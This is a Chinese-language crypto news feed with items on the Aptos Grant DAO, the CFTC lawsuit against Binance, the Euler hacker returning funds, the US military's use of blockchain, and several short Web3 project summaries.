Bridgers.xyz：去中心化的跨链桥，主要支持用户在不同链之间进行资产交易。Genie 现处于极其早期的阶段，没有 demo。 相关链接：https://dorahacks.io/buidl/4154?roundProj=3153 Genie：一个去中心化的 DID 协议，为用户提供了统一的身份标识。 相关链接：https://dorahacks.io/buidl/4296?roundProj=3597 从资助名单来看，入选项目主要集中在基础设施建设/工具、DeFi、NFT 这三个赛道中。一方面是因为生态发展需要一些必不可少的基础设施工具，比如钱包、浏览器等；另一方面可能是因为有以太坊等其他链的生态发展在前，已经给出了诸如 DeFi、NFT 等赛道发展所需的宝贵经验，如借贷、Dex 等作为 DeFi 领域最基础的协议必将受到广大关注。同时，社区用户也对这一系列的项目有较为基本的认知以及路径依赖，因而也很难避免后来的新公链生态发展总是在对标以太坊生态。 从社区参与度来看，相比于第一轮中 42,281 的社区选票以及 6241.8 APT 的社区资助池而言，第二轮在社区选票数和资助池的资金规模都远低于第一轮。这说明初期社区用户 Aptos Grant DAO 这项资助计划是非常看好的，很可能是因为不少成员认为其中可能有有利可图，比如空投，这促使他们愿意积极参与其中。但 Aptos Grant DAO 是一项周期非常长的计划，后续如果想驱动更多社区成员积极参与到其中，比较简单有效的方式可能还是在该资助计划下有一到两个爆款项目的出现。 Aptos Grant DAO 作为一个开放的社区资助 DAO，其长期可持续型主要依赖于社区的投票治理。在该资助活动中，投票治理不仅仅是采用了 DoraHacks 的二次方投票机制，还结合了 vcDORA 加权投票的方案，以实现更公平的资金分配。 最初，Dora 是通过二次方投票机制来决定资金的分配，其二次方投票机制是指随着一个单一选民的投票数量增加，其投票对资金分配的影响将越来越小。该机制设计主要是为了解决「一币一投票权」和「一地址一投票权」带来的影响。在二次方机制下，匹配到的资金将随着获得的投票增加而增加，但是增长曲线将快速放缓。二次方机制难免存在着女巫攻击、身份攻击等隐患。为了应对这些风险，团队引入了新的投票权重调整机制：vcDORA。 vcDORA则是作为一种无需许可的投票信用，是由社区用户质押 DORA 代币生成相应数量的 vcDORA 代币，它代表着在 Dora 社区不可转让的治理信用，也是用户参与社区治理的投票权重放大器。用户生成的 vcDORA 代币数量取决于其质押的 DORA 代币数量和质押的时间周期。此外，用户地址中的 vcDORA 代币数量会随着时间推移而衰减，直到到期时代币数量将衰减至 0，届时若用户还想继续参与社区治理，则需要重新抵押 DORA 代币来生成新的 vcDORA。 图源：DoraHacks 网站 拉开第三轮资助活动的序幕 Aptos Grant DAO 作为一项长期进行的生态资助计划，其资助申请入口将长期对社区开放，Aptos 生态内任何想要获得资金扶持的早期项目方或团队都可以通过 DoraHacks 网站的 Aptos Grant DAO 「submit BUIDL」功能提交资助申请，提交其项目相关的 GitHUb 链接。尽管官方还未公布第三轮的具体时间安排，但目前正处于第三轮提交资助申请的窗口期，只要在进入项目评审阶段前提交申请的 BUIDL 都将自动进入第三轮的评审名单。 而对于普通的社区成员而言，可以在钱包账户中准备足够数量的 APT 代币以及少量 Gas 费用，以便在社区投票环节中为中意的项目提供投票支持（1 票=0.1APT）。此外，如果用户抵押了 DORA 代币兑换出 vcDORA，则其投票权重将比普通选民的投票权重更高，即同等投票数情况下，获得 vcDORA 投票的项目可以匹配到更高的奖金。 最后，值得注意的是，Aptos 第三轮资助将针对重点的生态方向增加定向资助，包括去中心化稳定币，社交支付中间件，和 Aptos 生态的预言机。不妨期待一下，第三轮活动中会出现哪些有创意的项目吧。 关于 DoraHacks DoraHacks 是一个全球范围内的极客运动，全球黑客马拉松组织者，也是全球最活跃的多链 Web3 开发者平台之一。DoraHacks.io 平台使得世界各地的 Hacker 和开源开发者可以参与黑客马拉松、Bounty、Grant、Grant DAO，以及公共物品质押等加密原生协议和基础设施进行协作并获得资助。到目前为止，DoraHacks 社区的 4000 多个项目已经获得了来自全球行业支持者超过 3000 万美元的资助。大量开源社区、DAO 和 超过 50 个主要区块链生态系统正在积极使用 Dora 的基础设施（DoraHacks.io）进行开源融资和社区治理。  ( 6 min )
    美CFTC细数几宗罪起诉币安和赵长鹏，或开出巨额罚单，业内如何看待？
    作者：比推BitpushNews Mary Liu 3月27日，美国商品期货交易委员会 (CFTC) 宣布起诉全球最大的加密货币交易所币安（Binance）及其CEO兼创始人赵长鹏（CZ），该监管机构称其故意逃避联邦法律，经营“非法”数字资产衍生品交易所。除了起诉 CZ 和几个币安关联公司外，CFTC 还指控币安前首席合规官 Samuel Lim 协助和教唆币安违规。 CFTC 是一个民事政府机构，因此它不能对公司提出刑事指控或为个人寻求监禁。然而，监管机构的案件可能导致公司和个人面临巨额罚款和其他处罚。CFTC表示：“在对被告的持续诉讼中，该机构寻求没收非法所得、民事罚款、永久交易和注册禁令，以及针对进一步违反《商品交易法》(CEA)和 CFTC 规定的指控的永久禁令”。 据《华尔街日报》此前报道，美CFTC和包括司法部在内的其他联邦机构多年来一直在调查币安，这起诉讼是过去一年加密行业遭受的最新一起监管打击。Cinneamhain Ventures 合伙人Adam Cochran在推特中评论道，CFTC 正试图对币安进行“致命一击”，他写道：“第一反应……我认为他们很有可能通过此举成功推翻币安帝国”。 两大加密货币比特币和以太坊在消息流出后迅速下跌，比特币在一个小时内下跌 3.3% 至 26,800 美元，以太坊下跌 2.9% 至 1,700 美元以下。 赵长鹏（CZ）发推“4”来回应诉讼公告，暗指他在 1 月份发布的一条推文，即呼吁社区“忽略 FUD、假新闻、攻击等”。 CFTC称，币安至少从 2019 年 7 月起就在美国运营数字资产衍生品交易设施，允许美国居民交易比特币、以太坊和莱特币等加密货币的期货、掉期和期权。诉讼称，币安还试图扩大其在美国的足迹，尽管该交易所声称将阻止美国居民访问币安的平台。 CFTC表示：“尽管公开表示其意图‘阻止’或‘限制’位于美国的客户访问其平台，但币安采取了一种经过深思熟虑的、分阶段的方法来增加其在美国的影响力”。 CFTC 指出，2021 年 5 月，币安从衍生品交易业务中赚取的月收入达到 11.4 亿美元，高于 2020 年 8 月的 6300 万美元。其中，约 16% 的 币安账户由美国客户持有。 CFTC 诉讼将币安的公司结构描述为“迷宫般的公司实体”，旨在混淆谁拥有和控制交易所。CFTC 高级执法官员Gretchen Lowe称币安的合规工作是“骗局”。 诉书称，CZ在 2017 年创立了币安，通过直接或间接拥有约 300 个“内部账户”在自己的平台上进行交易，但该交易所并未在其公开使用条款或其他地方披露这一活动。CFTC 表示，这些内部账户不受币安“内幕交易”政策的约束。 根据 CFTC 审查的内部通信，除了在美国提供非法交易外，松懈的合规方式可能导致更严重的影响，例如美国和欧盟指定的恐怖组织可能在该平台上进行交易。 文件中提到了多段关于币安使用 Signal 聊天应用的聊天记录，包括CZ与币安员工、美国客户等之间的聊天。聊天记录中还提到其给员工发布的指示，要求他们使用 Signal 来进行关于「美国禁令」的沟通。 诉状中写道：“在内部，币安管理人员、员工和代理人承认，币安平台为潜在的非法活动提供了便利…例如，2019 年 2 月，在收到关于 Binance 上‘关于 HAMAS 交易’的信息后，前首席合规官 Samuel Lim 向一位同事解释说，恐怖分子通常发送‘小额资金’，因为‘大额资金构成洗钱’”。对于某些 Binance 客户，包括来自俄罗斯的客户，Lim 在 2020 年 2 月的一次聊天中承认：“他们来这里是为了犯罪。” 币安洗钱报告官称，‘我们看到了阴暗处，但我们选择视而不见。’” 该监管机构表示：“Binance 的合规计划一直无效，在 Zhao 的指导下，Binance 已指示其员工和客户规避合规控制，以实现企业利润最大化，” CFTC 还声称 Binance 未能实施有效的反洗钱计划。该机构表示，它也没有建立必要的保障措施来确定客户的真实身份。投诉称，至少截至 2022 年 5 月，该公司尚未在美国提交任何可疑活动报告。 CFTC 表示，币安没有要求客户在交易前提交验证其身份的信息，并且“未能实施旨在防止和发现恐怖主义融资和洗钱活动的基本合规程序”。 一些行业参与者表示，美国监管机构试图在加密行业缺乏全面框架的情况下进行强制监管。 加密投资公司 CoinShares 首席战略官 Meltem Demirors 在一条推文中表示，所有人都在关注这起诉讼。 她指出，此案与CFTC 针对 BitMEX 的案子类似——“尽管较少关注 OFAC 违规行为，但更关注美国零售业务的营销和产品准入”。 比推此前报道，在美国监管机构指控 BitMEX 非法接受美国客户的订单和资金以交易比特币、以太坊和莱特币的衍生品后，该公司于 2021 年 8 月与CFTC 和金融犯罪执法网络 (FinCEN) 以1 亿美元达成和解。 Demirors 补充说，CFTC 在对币安的最新诉讼中声称比特币和以太坊是商品，这与 SEC 的立场背道而驰。SEC 主席 Gary Gensler 在过去一年的采访中多次表示，虽然他将比特币视为一种商品，但大多数其他加密代币都是证券。 CFTC 周一的投诉还将莱特币、稳定币 USDT 和 BUSD 称为商品。芝加哥律师事务所 Ice Miller 合伙人 Yankun Guo 表示，这种区别表明“美国缺乏明确的规定造成了混乱”。 数字资产行业算法交易平台 CoinRoutes 首席执行官兼联合创始人 Dave Weisberger 认为，此案可能会彻底损害 Binance.US 平台。Weisberger 说：“Binance 可能很快就会看到其在美国的业务完全终结，有许多在美国运营的优质交易所，其流动性比 BinanceUS 更高”。 去中心化交易所 Vertex Protocol 首席法律顾问 Jeffrey Blockinger 则认为，币安有可能达成和解或提起诉讼。 Blockinger 说：“任何和解肯定会包括币安同意停止和制止与衍生品销售和违反银行保密法相关的任何进一步违规行为。如果提起诉讼，可能需要数年时间才能解决。在此期间，币安将寻求纠正存在的任何缺陷，以避免任何进一步的指控，并向 CFTC 表现出诚意。” Primitive Ventures CEO @DoveyWan 在推文中表示，如果币安与CFTC的和解金为10亿美元，这只是币安一个月的收入。DoveyWan 写道：“摩根大通因不当行为和市场操纵支付了有史以来最大的 9.2 亿美元的 CFTC 罚款，我认为 binance 可以超过，10亿美元是个假设数字”。DoveyWan认为，此诉讼可能造成的结果包括：币安花费数十亿美元与 CFTC 达成和解；美国境内 CEX 不停地花钱打磨、削减业务和产品；离岸 CEX 在绿色监管区蓬勃发展；DeFi 蓬勃发展；非美国创始人蓬勃发展；更多创始人加入匿名游戏。 截至发稿时，加密市场基本保持平稳，比特币回到 27,000 美元以上，以太坊反弹至 1,700 美元以上。  ( 5 min )
    美国法官暂停将Voyager出售给Binance.US，等待政府上诉
    PANews 3月28日消息，美国纽约南区地方法院地方法官Jennifer Rearden批准了美国司法部提出的暂缓Voyager将其资产出售给Binance.US的计划，该申请此前已获得一名破产法官的批准。 此举将暂停Voyager资产出售，直到上诉本身可以通过美国法院系统。 裁决书显示，在考虑各方的书面陈述，以及就此事举行的会议和口头辩论后，特此批准政府的紧急动议。说明该裁决理由的意见将很快发布。  ( 4 min )
    Otherside将推出基于收藏的2D策略游戏LOTM，4月初可申领Vessel NFT
    PANews 3月28日消息，据官方推特，Yuga Labs旗下元宇宙平台Otherside宣布将推出基于收藏的2D策略游戏Legends of the Mara（LOTM），将从“Otherside:2nd Trip”活动结束后开始。 该游戏引入了一个名为Mara的全新NFT系列，该系列可以进化为Kodamara。该游戏始于Vessel NFT。每个Otherdeed持有人可以领取一个Vessel NFT，申领将从4月初开放。每个认领的Vessel将作为一个单独的ERC-721代币发送到Otherdeed持有钱包，并带有一个新的智能合约/NFT集合。除了通过申领获得外，还可以通过交易平台购买和出售Vessel。5月开始，玩家可准备保卫Otherside。 据介绍，Koda是Otherside的主要守护者，在该游戏中，他们是擅长耕种、施法和狩猎的人。通过该游戏，玩家将了解更多关于Koda的信息，包括他们的起源和他们与Otherside的原始关系，以Mara的形式遇到一些新学徒，并了解更多关于整个LOTM中Otherside的故事。Vessel可以成长为被称为Mara的学徒，在合适的条件下，使用合适的催化剂，可以进化成更熟练的Kodamara。他们都是防御异方的得力助手，尽管与古代的Koda相比，他们的力量受到了很大的限制。  ( 4 min )
    Euler攻击者再次返还约15476枚ETH和1070万枚Dai，共计约合3710万美元
    PANews 3月28日消息，据Cointelegraph报道，北京时间今日凌晨2:21，Euler Finance攻击者地址向Euler部署者地址发送了7,738.05枚ETH（约合1320万美元），在同一个区块中，与攻击者相关的另一个地址向同一部署者账户发送了相同的金额，共计15,476.1枚ETH(约2640万美元)返回给了Euler团队。然后，在2:40，第一个钱包向Euler部署者账户发送了约1070万枚Dai。这三笔交易的总额约为3710万美元。 这些交易是在3月25日之前返还58000枚ETH（当时价值超过1.01亿美元）之后进行的。自攻击以来，攻击者总共返还了价值超过1.38亿美元的加密资产。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    区块链如何为美军增加战斗力？
    原文：《美军究竟在用区块链做什么？》 作者：0x22D 当我们在谈论区块链时，提到的更多是 BTC、以太坊等公链，它们上面承载的大部分是 DeFi、NFT、DID 等领域的 DApp，以求捕获并创造更多价值，依靠造富效应浇筑出新的叙事。 其实，除了在资本市场中发挥金融属性之外，区块链去中心化和不可篡改的特性已经孕育出了许多尚不为公众所知的真实用例。 美军智囊早在 6 年前就发现了区块链的潜力，美国国防部下属机构国防高级研究计划局（DARPA）于 2017 年正式启动了军用区块链项目的研发，以为美军开发安全、不可破解的消息传递和交易平台为目标，向圣母大学和印第安纳科技制造公司（ITAMCO）拨款成立了 SIMBA Chain。 无可匹敌的背书项目——美国陆军、美国海军、美国太空军、波音公司 6 年之后，2023 年的现在，美军的区块链计划执行到了哪一步？ 美国太空军 (USSF) 成立于 2019 年，负责组织、培训和装备现役人员进行太空作战，其希望用区块链解决空间碎片问题。 空间碎片/太空碎片是目前人类使用空间轨道时面临的主要威胁之一。每枚发射到太空的火箭都会产生太空碎片，这些碎片可能会与卫星和空间站发生碰撞并造成损坏，太空碎片会长期存在于地球轨道之上。 太空碎片的数量不断增长，使得地球轨道日益拥堵，使现代人类依赖的许多服务都处于危险中，如通信、天气和定位等卫星 GPS 服务。 SIMBA Chain 针对空间碎片问题提出的解决方案，是建立一种准确记录并对空间碎片清理过程进行资助的新方式。通过将空间碎片代币化，以 NFT 的形式表示，可以使用多种不同的经济模型促进空间碎片的清理工作，通过私营企业维持稳定的空间环境。 链上主动碎片清除基金是 SIMBA 提出的将空间碎片与 NFT 绑定的「回收基金」，在空间碎片被确认得到回收后才会完成支付。SIMBA 还考虑创建「赏金基金」的可行性，通过吸引实体向赏金基金捐款从而为私营公司提供激励。 可出租 NFT是 SIMBA 考虑的另一种方式，让一个空间碎片从发被发现开始，到被回收清除前，可被分配给多个不同的公司处理或进行转包，让碎片的清理更加灵活。 碎片清除验证——SIMBA 首先会确定某个碎片的预期完成结果，然后确定可验证清除完成的依据，最后验证该碎片是否已从轨道移除或满足预期的完成结果。 SIMBA 使用区块链技术将空间碎片代币化为 NFT，为促进空间碎片的清除提供了新的方式，同时也为人们提供了一种参与极具潜力的太空经济，并从中获益的方式。 美国空军是全世界规模最庞大的空军，现役人员达 33 万人，拥有 5200 架飞机，财年预算高达 1500 亿美元。其希望通过区块链技术提高数据的防篡改能力，传输机密的 3D 打印计划，消除安全漏洞，针对增材制造（3D 打印）展开试点以协调战场上的分布式制造。 规模庞大的美国空军（USAF），依靠极为复杂的供应链来保持其前沿部署部队得到充分的装备和维护。然而，这条复杂的供应链也带来了许多安全威胁，潜在的敌对势力可能从中获取或篡改关键数据。为了解决供应链的安全问题，美国空军要求 SIMBA 为其提供一个增材制造解决方案，主要针对三个主要问题： 微电子供应链证明：在整个微电子供应链中，对操作安全的需求至关重要。这些部件可能不符合特定要求，使生命处于危险之中。 假冒品识别：供应链中可能存在着假冒的零件和恶意代码，使美国空军任务与武器系统的性能下降。 关键子供应商识别：对关键子供应商的依赖，给供应链带来了更多的风险。内部动荡、腐败和极端天气会拖慢基本部件的交付。 SIMBA 将其为美国空军提供的服务平台称为 BASECAMP。BASECAMP 建立在 SIMBA Blocks 的基础上，在增材制造组件的全生命周期内对其进行注册并追踪。通过软硬件两方面对增材制造组件进行全面的注册，全方位追踪零件： 硬件方面，在制造过程中，将条形码功能嵌入 3D 打印机以对打印出的组件进行注册； 软件方面，硬件标识符、设计文件和其他元数据被记录注册到到区块链上； 除此以外，BASECAMP 还使用智能合约在链上管理授权和许可文件，可在文件数据遭到更改时自动向关键部门发送通知。 在 BASECAMP 上线后，SIMBA Chain 帮助美国空军将消耗在追踪不合格增材制造零件上的时长从 2000 个工时减少到 20 个工时，缩短了 99%。 当谈到波音公司时，我们经常会谈起波音 737、波音 747、波音 787 等耳熟能详的客机，这是因为波音是世界上最大的民用飞机制造商之一，但很多人并不知道，波音同样也是世界顶级的军用飞机制造商。 美军的多种重要战机，比如 F-15 战斗机、B-52 同温层堡垒轰炸机、AH-64 阿帕奇武装战斗机、C-17 环球霸王 III 运输局皆出自波音公司。波音负责生产的美军战机中最重要的，一定是 F/A-18 型战斗机。该型战机是美国海军现役全部 11 艘航母上的主要舰载机，是美军航母战斗群在全球「作威作福」的重要保证，也是《壮志凌云 2》中汤姆·克鲁斯的座机。 在生产军用飞机时，波音公司需要大量人力来同步来自多方面的数据。具体来说，波音需要处理并整合四个数据仓库中的多达 700 个的数据表。如此脱节的系统在生产过程中造成了潜在的安全风险。因此，波音公司委托 SIMBA 构建一个高度集成的供应链解决方案，能够跟踪来自子供应商的 F/A-18 机翼部件。 为了确保机翼部件的可追溯性，SIMBA 为所有机翼部件添加数字标记。当零件实体从子供应商运送到波音公司时，数字信号会通过区块链传播，每走一步都会生成不可篡改的记录。由这些记录组成的分布式账本，让这条供应链足以满足美国海军提出的四大标准： 过往几十年，电子邮件一直供应链最仰仗的通信工具。电子邮件虽然已被证明足够有效，但需要大量的操作，且几乎无法防止对数据的篡改。 SIMBA 使用区块链技术，将波音的供应链整合到一个完全同步的自动化系统中，聚合了波音公司分散在四处的数据，为 F/A-18 的机翼部件打造了了一个不可篡改、透明的供应链平台，相关的工作流再也无需人工跟踪，而是以代码的形式被编写进区块链中。 后勤物资的调动是作战任务的关键，在战时尤为如此。后勤问题也一直是困扰各国军方的一大难题。在 1991 年的海湾战争中，美军向中东发送了大约 4 万个集装箱，但由于标识不清、管理混乱，其中 2 万多个集装箱不得不被重新打开登记，再封装并重新进入物流运输系统。当海湾战争结束后，美军统计发现，有 8000 多个被打开的集装箱没有发挥任何实际作用。 海湾战争虽已结束 30 年，但美军后勤体系的进步却并不大，如此重要的后勤角色，美军并不放心使用自动化系统完成。然而，不可篡改的区块链和可自动处理消息的链上智能合约改变了这一切。 2020 年，SIMBA Chain 获得了美国国防部 120 万美元的小型企业创新研究（SBIR）第一阶段拨款，启动了用于可审计军事保密数据访问的真实性分类帐本（ALAMEDA）系统。ALAMEDA 在位于美国佛罗里达州杰克逊维尔海军航空站的东南舰队战备中心进行开发。 最初，ALAMEDA 系统的目标是使用区块链完成一个新的需求感知解决方案，确保美军能及时得到武器的更换部件。SIMBA 与美国海军陆战队合作构建了一个区块链平台，以监控佐治亚州奥尔巴尼仓库的库存和货物流动情况。 在 2021 年成功完成第一阶段后，美国海军研究所向 SIMBA 提供了 150 万美元的 SBIR 第二阶段拨款，并对 ALAMEDA 的目标进行了调整，将重点转为利用分布式账本（区块链）为美国海军和美国国防部下属的国防后勤局（DLA）提供「单一事实来源」。 具体来说，SIMBA 需要为美国海军和国防后勤局解决两个棘手的问题： 美国国防后勤局目前共有 4 个运输渠道，分别是供应商和用户直接交付渠道、国防后勤局直发渠道、据申请从仓库调货渠道、库存重新分配和运输渠道。 SIMBA 为国防后勤局提供的解决方案，同时适用于这 4 个运输渠道，只需按标准格式输入数据即可，需要的数据包括订单状态、交货确认、例外情况和预计交货日期。收到数据后，ALAMEDA 系统将跟踪编号和运输控制编号相关联，再由区块链智能合约自动处理各项请求。 ALAMEDA 系统可极大降低美军物流系统的响应延迟，解决了由于缺乏可见性而导致的问题，提高了信息的共享与安全性和货物与库存的安全性，提高了配送接收时的效率，减少分拣货物的工时，并减轻了仓库的库存压力。 SIMBA Chain 作为美军的区块链智囊，于 2020 和 2021 年分别拿到过两次美国海军提供的 150 万美元研究资金。在看到项目的表现和未来的潜力后，2023 年 2 月 1 日，美国空军出面再次向 SIMBA 提供了 3000 万美元资金，表明了美军在军用区块链领域占据领导地位的决心。 第二次世界大战引发的科学技术大爆炸，深厚地影响了战后的世界。电子计算机、GPS、数码相机、罐头食品、血库和输血、卫生巾、冻干技术、抬头显示等无数科技都源自军事技术的下放。 真正能进入大众生活的区块链真实用例，或许正将脱胎自美军的一系列需求。  ( 5 min )

  • Open

    ConsenSys zkEVM 更名为 Linea，并已全面开放测试
    ConsenSys zkEVM 更名为 Linea，并已全面开放测试 据 ConsenSys 官方消息称，ConsenSys zkEVM 更名为 Linea，并原生集成 MetaMask 和 Truffle 等工具。Linea 将零知识证明与 EVM 等价性相结合，为开发人员提供灵活性和可扩展性，而无需 zk 技术专业知识。目前 Linea 向所有开发人员、用户或协议开发测试网。 内容来源  ( 2 min )
    【英文长推】采用 GMX 的 X4 「PVP AMM」的永续 DEX：LionDEX
    Chainfeeds 导读： 喜欢永续 Dex 但厌倦了 GMX？加密 KOL 2Lambroz 撰推解析构建了 GMX 的 X4 提议的 PVP AMM LionDEX，分析其协议机制以及 4 月 1 日将发布的代币 $lion 经济模型和 NFT 的发售细节。 文章来源： https://twitter.com/2lambro/status/1640510239719178242 文章作者： 2lambroz.eth 观点： 2lambroz.eth：LionDEX 是采用 PvP-AMM 池设计的永续 Dex。对交易者友好：1）快速执行，无交易点差；2）较低的 LP 价格波动；3）更多可用的交易对和资产。交易者资金效率的提高促进了 LP 的更多费用和更高收益。【原文为英文】 内容来源 2lambroz.eth：代币分配：初始流动性 3%；Launchpad IDO 10% ，无归属期；LionDEX NFT 10% ，180 天线性归属；协议增长激励 50%；开发者基金 20%，24 个月后线性解锁；顾问费 5%，24 个月后线性解锁；空投 2%。【原文为英文】 内容来源 2lambroz.eth：LionDEX Genesis NFT，最大供应量 2000 个，价格 900 美元，募集总额 180 万美元。100% 的资金将分配给铸造初始 LP 作为 PvP-AMM 交易协议的早期稳定池，该池作为协议资产的一部分归属于协议国库。每个 NFT 可以在 180 天内质押价值 1000 USDC 的代币，每个 NFT 都有大约 1500 的免交易费额度，参与治理及获得代币空投，通过 Launchpad 售卖获得的 NFT，可在 30 天内赎回与投资的 USDC 等值的 LP。 内容来源  ( 2 min )
    【英文】a16z ：Web3 Builder 的书单推荐
    Chainfeeds 导读： a16z 官方发推为 Web3 Builder 推荐书单，涵盖 17 本书籍。 文章来源： https://twitter.com/a16zcrypto/status/1640416090294714368 文章作者： a16z 观点： a16z：1）《来自未来的男人：约翰・冯・诺依曼传记》，作者 Ananyo Bhattacharya；2）《无限机器：加密黑客大军如何用以太坊构建下一个互联网》，作者 Camila Russo；3）《权益证明：以太坊的制造和区块链的哲学》，作者 Vitalik Buterin；4）《算法之美：指导工作与生活的算法》，作者 Brian Christian 及 Tom Griffiths。【原文为英文】 内容来源 a16z：5）《设计互联网》，作者 David Clark；6）《无穷的开始：世界进步的本源》，作者 David Deutsch；7）Philip Dick 的短篇精选；8）《破解造物：基因编辑和控制进化的不可想象之力》，作者 Doudna Jennifer 和 Samuel Sternberg；9）《贝尔实验室和美国革新大时代》，作者 Jon Gertner；10）《艾伦图灵传》，作者 Andrew Hodges；11）《创业维艰：如何完成比难更难的事》，作者 Ben Horowitz。【原文为英文】 内容来源 a16z：12）《一生的旅程：华特迪士尼首席执行官的 15 年》，作者 Robert Iger；13）《美国大城市的死与生》，作者 Jane Jacobs；14）《五角大楼之脑：美国国防部高级研究计划局不为人知的历史》，作者 Annie Jacobsen；15）《延长生命：长寿简史》，作者 Steven Johnson；16）《光电帝国：爱迪生、特斯拉、威斯汀豪斯三大巨头的世界电力之争》，作者 Jill Jonnes；17）《毁灭战士之主》，作者 David Kushner。【原文为英文】 内容来源  ( 2 min )
    【英文】Farcaster VS. Lens Protocol：去中心化社交协议的比对
    Chainfeeds 导读： 加密研究员 Daniel Lombraña 过去几个月一直在使用 Farcaster 和 Lens Protocol，基于其体验，他撰文分析两个协议的构建方式，并对两者进行对比分析，介绍两者的主要区别和相似之处。他认为两个协议之间没有输赢，各有优势。 文章来源： https://paragraph.xyz/@teleyinex.eth/farcaster-vs-lens-protocol 文章作者： Daniel Lombraña 观点： Daniel Lombraña：Farcaster 建立在以太坊之上，L1 管理用户身份，使用 L2 在其用户之间传播更新（Farcaster Hubs），使用链下点对点网络来同步数据。工作原理：用户在以太坊合约中注册一个公钥 - 私钥对和一个 ID，公钥 - 私钥对用于签署消息和 ID。签名的消息被上传到 Farcaster Hub，集线器使用对等协议在它们之间共享消息并存储它们，使用增量图就其状态达成共识。通过 Hubs 存储和管理网络状态，客户端应用程序将连接到它们，以便用户为协议构建不同的客户端，为其用户自定义体验。【原文为英文】 内容来源 Daniel Lombraña：Lens 使用 L2 Polygon 存储信息。工作原理：用户需要一个「Profile」才能参与协议。Profile 是 NFT 表示的顺序 ID。NFT 将属于钱包地址，所有者是控制 profile 的人。Profile 所有者可以：1）发布；2）设置 profile 的「关注模块」，即允许其他人关注此 profile 的逻辑；3）设置 profile 的头像；4）设置 profile 的「调度程序」。拥有 Lens Profile NFT 后，用户可以发布出版物。此外，NFT 将具有所有者生成的所有出版物、评论等的历史记录。【原文为英文】 内容来源 Daniel Lombraña：二者对比：1）ID VS. Profile，用户在 Farcaster 上需要每年更新一次控制，而 Lens 只需执行一次操作。2）社交图谱，Lens 所有内容都保存在用户的 Profile 中，但在 Lens 上用户无法分离其内容，Farcaster 则可以，每个应用程序都可以依赖增量图并构建其关注者列表。3）一切上链 VS. 部分上链，Lens 的一切都保存在 Polygon 上，而 Farcaster 采用链下解决方案。4）扩张协议，用户在 Lens 上可以扩展模块，Farcatser 则需要用户对协议提出更改，并且所有集线器都应该升级以支持这些更改。【原文为英文】 内容来源  ( 31 min )
    【英文长推】比特币的哈希率触及 400 Exahash，增长来自哪里？
    Chainfeeds 导读： 比特币的哈希率持续增长，触及 400 Exhash，按照目前增长率，将在 2025 年底达到 Zettahash，River 分析师 Sam Wouters 解读该增长来自哪里，并通过数据分析算力流向哪些矿池。 文章来源： https://twitter.com/SDWouters/status/1640320086878593026 文章作者： Sam Wouters 观点： Sam Wouters：任何人都可以检查算力流向了哪些矿池。如果你查看任何矿池数据网站的 Waybackmachine，会发现差异（前提是知道这些矿池由数千名可以随时切换的个人矿工组成）：约 44 个 Exahash 去了 Foundry，约 29 个流到 AntPool，约 8 个流到 F2Pool，约 7 个流到 Binance Pool，4 个流到 Braiins Pool。其他的都是 内容来源 Sam Wouters：我发现增加的哈希率不太可能主要是民族国家。有些人喜欢对此进行推测，但这种事情发生然后保持秘密的可能性非常低，参与大规模运营的人员太多了。据传，几家大型公共矿企拥有大量未使用的 ASIC 库存。虽然去年比特币价格如此之低，ASIC 存货尽可能多地上线，但在某个时候达到了网络可以处理的最大容量。【原文为英文】 内容来源 Sam Wouters：此外，Hydro 模型已经存在了一段时间并开始进入市场，它们每台机器有 250+ TH /s，这增加了巨大的哈希率，并且估计它们目前具有最高的平均盈利能力。哈希率从何而来的答案可能有细微差别。它可能是以下各项的组合：1）未使用的库存上线；2）新模型上线 3）更多设施上线（可能是一个缓慢的过程）；4）狡猾的企业家在监管机构介入之前寻找廉价资源。【原文为英文】 内容来源  ( 2 min )
    【英文】用于 EVM 的基于代理的分析工具 Arbiter：改善 DeFi 数据安全
    Chainfeeds 导读： Primitive 协议推出 Beta 版 Arbiter，一种基于代理的尖端分析工具，提供 EVM 的奇偶校验，并为用户提供快速高效的建模和经济模糊测试，提供关于 EVM 状态如何在给定一组输入的情况下演变的精确数据。其官方撰写文档分析该产品对 DeFi 领域对速度和准确性的需求的满足，以及如何利用数据的力量改善 DeFi 数据安全。该工具已开源。 文章来源： https://www.primitive.xyz/posts/introducing_arbiter 文章作者： Primitive 观点： Primitive：Arbiter 使用完全基于 Rust 的堆栈，以利用编程语言的本机速度和内存安全性来提供最高性能的分析工具。以下概念引导我们开发 Arbiter：1）评估生产环境中智能合约的博弈论和可组合安全性。2）调查风险、资本效率、再平衡策略和投资组合复制或绩效。3）设计和测试建立在更多 DeFi 原语之上的新金融产品。【原文为英文】 内容来源 Primitive：丰富、丰富和真实的数据是准确分析背后的驱动力，而 Arbiter 确保我们能够实现这三者：1）在测试网络上运行合约并构建可以调用部署在网络上的模拟环境的代理。这种方法通常会比以前的方法慢，但会牺牲 EVM 奇偶校验；2）检查准确的链上数据，这些数据可以来自实时或历史来源。这种方法非常适合需要奇偶校验的应用程序。然而，它的主要局限在于无法控制环境或其参与者，从而限制了用户对历史数据的访问。【原文为英文】 内容来源 Primitive：Arbiter 是在名为 revm 的 EVM 的 Rust 实现上开发的，它为研究 dApp 提供了无与伦比的解决方案。该工具假设智能合约与 EVM 执行环境的交互非常低，并且可以生成大量真实的 EVM 数据。Arbiter 让我们可以利用 Rust 的速度并消除块时间或 I/O 的任何限制。鉴于 revm 的低级实现，我们可以尽可能多地控制我们构建的模拟环境。【原文为英文】 内容来源 Primitive：Arbiter 还可以允许使用真实的链上状态转换进行粒度回测。后向和前向测试技术都允许用户分析 DeFi 策略和经济安全，贯穿整个历史和专门定制的基于模型的场景。研究人员可以在与其他合约交互时识别去中心化应用程序中的异常行为，从而提供对生态系统的宝贵见解。基金、交易员和搜索者可以在模拟环境中制定策略，该策略可以轻松移植到链上实例。【原文为英文】 内容来源  ( 6 min )
    【英文长推】奇异期权协议 Cega 完成 Dragonfly 领投的 930 万美元融资，一文解读其原理机制
